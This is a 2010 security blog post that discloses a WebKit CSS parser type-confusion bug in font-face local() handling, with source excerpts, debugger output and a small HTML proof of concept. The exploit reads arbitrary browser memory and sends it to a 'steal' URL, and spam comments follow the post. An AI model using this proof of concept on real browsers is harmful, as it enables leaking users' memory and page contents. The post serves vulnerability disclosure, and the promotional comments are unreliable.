Wednesday, December 15, 2010

WebKit CSS Type Confusion

Here is an interesting WebKit vulnerability I came across and reported to Google, Apple and the WebKit.org developers.

Description: WebKit CSS Parser Type Confusion
Software Affected: Chrome 7/8, Safari 5.0.3, Epiphany 2.30.2, WebKit-r72146 (others untested)
Severity: Medium

The severity of the vulnerability was marked Medium by the Chrome developers because the bug can only result in an information leak. I don't have a problem with that but I have some more thoughts on it at the end of the post. But first the technical details.

The WebKit CSS parser internally stores a CSSParserValueList which contains a vector of CSSParserValue structures. These structures are used to hold the contents of parsed CSS attribute values such as integers, floating point numbers or strings. Here is what a CSSParserValue looks like.
struct CSSParserValue {
    int id;
    bool isInt;
    union {
        double fValue;
        int iValue;
        CSSParserString string;
        CSSParserFunction* function;
    };
    enum {
        Operator = 0x100000,
        Function = 0x100001,
        Q_EMS    = 0x100002
    };
    int unit;

    PassRefPtr createCSSValue();
};
When WebKit has successfully parsed a CSS value it will set the unit variable to a constant indicating what type it should be interpreted as. So depending on the value of unit a different member of the union will be used to address the CSS value later in the code. If the value was a floating point or an integer the fValue or iValue will store that number. If the value is a string a special CSSParserString structure is used to copy the string before placing it into the DOM as element.style.src.

The vulnerability exists in a function responsible for parsing the location of a font face source. So we find ourselves in WebCore::CSSParser::parseFontFaceSrc() found in CSSParser.cpp of the WebKit source. I have clipped certain parts of the function for brevity.
bool CSSParser::parseFontFaceSrc()
{
    ...
[3629]        } else if (val->unit == CSSParserValue::Function) {
[3630]            // There are two allowed functions: local() and format().
[3631]           CSSParserValueList* args = val->function->args.get();
[3632]            if (args && args->size() == 1) {
[3633]                if (equalIgnoringCase(val->function->name, "local(") && !expectComma) {
[3634]                    expectComma = true;
[3635]                    allowFormat = false;
[3636]                    CSSParserValue* a = args->current();
[3637]                    uriValue.clear();
[3638]                    parsedValue = CSSFontFaceSrcValue::createLocal(a->string);
At this point in the code the CSS parser has already extracted the value of the font face source and now the code is trying to determine whether the font value is local or not. If the source of the font is wrapped in a local() URL then we hit the code above. The problem here is that the CSSParserValue's unit variable is never checked on line 3633. The code assumes the value previously parsed is a string and the CSSParserString structure within the union has already been initialized by a previous caller. Now on line 3636 a CSSParserValue pointer, a, is assigned to the value and on line 3638 the a->string operator is called on it. Here is what that structure looks like:
struct CSSParserString {
    UChar* characters;
    int length;

    void lower();

    operator String() const { return String(characters, length); }
    operator AtomicString() const { return AtomicString(characters, length); }
};
So when a->string is called in line 3638 WebKit's internal string functions will be called to create a string with a source pointer of a->string.characters with a length of a->string.length so it can be added to the DOM by CSSParser::addProperty(). This code assumes the value is a string but this CSSParserValue may not have been initialized as one. Lets take a second look at the union again in the CSSParserValue structure:
    union {
        double fValue;               // 64 bits
        int iValue;                  // 32 bits
        CSSParserString string;      // sizeof(CSSParserString)
        CSSParserFunction* function; // 32 bits
    };
The double fValue will occupy 64 bits in memory on a 32 bit x86 platform [1]. This means in memory at runtime the first dword of fValue overlaps with string.characters and the second with string.length. If we can supply a specific floating point value as the source location of this font face we can trigger an information leak when WebKit interprets it as a CSSParserString structure and attempts to make a copy of the string. I should also note that the string creation uses StringImpl::create which copies the string using memcpy, so we don't have to worry about our stolen data containing NULL's. Exploiting this bug is very easy:
      < html>
      < script>
        function read_memory() {
            ele = document.getElementById('1');
            document.location = "http://localhost:4567/steal?s=" + encodeURI(ele.style.src);
        }
      < /script>
      < h1 id=1 style="src: local(0.(your floating point here) );" />
      < button onClick='read_memory()'>Click Me
      < /html>
That floating point number will occupy the first 64 bits of the union. The double fValue when holding this value will look like this in memory 0xbf95d38b 0x000001d5. Which means (a->string.characters = 0xbf95d38b) and (a->string.length = 0x000001d5). Through our floating point number we can control the exact address and length of an arbitrary read whose contents will then be added to the DOM as the source of the font face. In short, an attacker can steal as much content as he wants from anywhere in your browsers virtual memory. Here is the CSSParserValue structure in memory just after the assignment of the CSSParserValue pointer, a, when running the exploit.
(gdb) print *a
$167 = {id = 0, isInt = false, {fValue = 9.9680408499984197e-312, iValue = -1080700021, 
string = {characters = 0xbf95d38b, length = 469}, function = 0xbf95d38b}, unit = 1}

(gdb) x/8x a
0xb26734f0:    0x00000000    0x00000100    0xbf95d38b    0x000001d5
0xb2673500:    0x00000001    0x00000000    0x00000000    0x00000000
Here is where the stack is mapped in my browser:
bf93a000-bf96e000 rw-p 00000000 00:00 0          [stack]
I did some testing of this bug using Gnome's Epiphany browser. It also uses WebKit and is a little easier to debug than Chrome. Here is a screenshot of the exploit using JavaScript to read 469 bytes from the stack and displaying it in an alert box:


OK so it's an info leak. No big deal... right? Info leaks are becoming more valuable as memory corruption mitigations such as ASLR (Address Space Layout Randomization) become more adopted by software vendors. An info leak essentially makes ASLR worthless because an attacker can use it to find out where your browsers heap is mapped or where a specific DLL with ROP gadgets resides in memory. Normally an info leak might come in the form of exposing a single address from an object or reading a few bytes off the end of an object, which exposes vftable addresses. These types of leaks also make exploitation easier but usually don't expose any of the web content displayed by the browser. In the case of this bug we have to specify what address to read from. If an unmapped address is used or the read walks off the end of a page then we risk crashing the process. The attacker doesn't have to worry about this on platforms without ASLR.

But almost as important as reliable code execution, the more sensitive content we push into web browsers the more valuable a highly reliable and controllable info leak could become. You could theoretically use it to read an open document or webmail or any other sensitive content the users browser has open at the time or has cached in memory from a previous site.

Anyways, hope you enjoyed the post, it was a fun vulnerability to analyze. Thanks to Google, Apple and WebKit for responding so quickly [2], even to a Medium! Now go and update your browser.

[1] http://en.wikipedia.org/wiki/Double_precision_floating-point_format
[2] http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp

11 comments:

Unknown said...

You could not have explained it better. Details are adequate.

Debasish Mandal said...

Nicely Explained! Thank you!

radha said...

Well explained. Keep sharing UI online course Bangalore

Repairtech Solutions said...

Aw, this was an exceptionally nice post. Spending some time and actual effort to make a superb article… but what can I say… I procrastinate a lot and don't manage to get nearly anything done. realme x display replacement I’m amazed, I have to admit. Seldom do I come across a blog that’s both educative and interesting, and without a doubt, you have hit the nail on the head. The problem is something that not enough folks are speaking intelligently about. Now i'm very happy that I came across this during my search for something relating to this. redmi note 8 pro display replacement bangalore

Repairtech Solutions said...

Oh my goodness! Amazing article dude! Thanks, However I am going through troubles with your RSS. I don’t understand why I cannot join it. Is there anyone else getting the same RSS problems? Anyone that knows the answer can you kindly respond? Thanx!! samsung M30s display replacement An impressive share! I have just forwarded this onto a colleague who has been doing a little research on this. And he in fact ordered me dinner due to the fact that I found it for him... lol. So allow me to reword this.... Thank YOU for the meal!! But yeah, thanx for spending the time to discuss this subject here on your blog. iphone 11 pro display replacement marathahalli

Repairtech Solutions said...

After going over a few of the blog posts on your website, I truly like your technique of blogging. I saved it to my bookmark website list and will be checking back in the near future. Take a look at my web site too and let me know how you feel. oneplus 7 pro display replacement bangalore This site definitely has all of the information I wanted concerning this subject and didn’t know who to ask. vivo V17 pro display replacement marathahalli

jackwick said...

Yahoo account recovery is not an easy task if you are resetting Password recovery can be done in two conditions:ist change yahoo mail password if you forgot your yahoo password recovery can be done in two conditions: if your yahoo mail forgot password and yahoo email recovery way . In both conditions steps to recover password are same, that are given as: How to Recover yahoo account.
change yahoo mail password

Yahoo Password Reset

cloudbeginners said...

aws inspector
openshift vs kubernetes
azure data lake
arm templates
azure traffic manager
azure bastion
azure synapse analytics

pragyan said...

aws interview questions
aws solutions architect interview questions and answers
data science interview questions
azure solution architect interview questions
power bi interview questions
azure data factory interview questions

Peter Johnson said...

Great post ! This was actually what i was looking for and i am glad to came here!I want to share about Agro Fertilizer Company in India

Samad said...

Pernah dengar atau tahu mengenai slot WD138 bocoran hari ini terpercaya? in adalah situs judi online hari ini terpercaya іndоnеѕіа telah memiliki banyak member setia untuk tаruhаn judі slot online. WD138 memiliki koneksi dan pengalaman dengan bеrbаgаі situs agen slot terpercaya, oleh karena itu WD138 bisa dijadikan situs pendaftaran daftar аkun slot resmi dan sangat direkomendasikan oleh banyak pemain slot. click here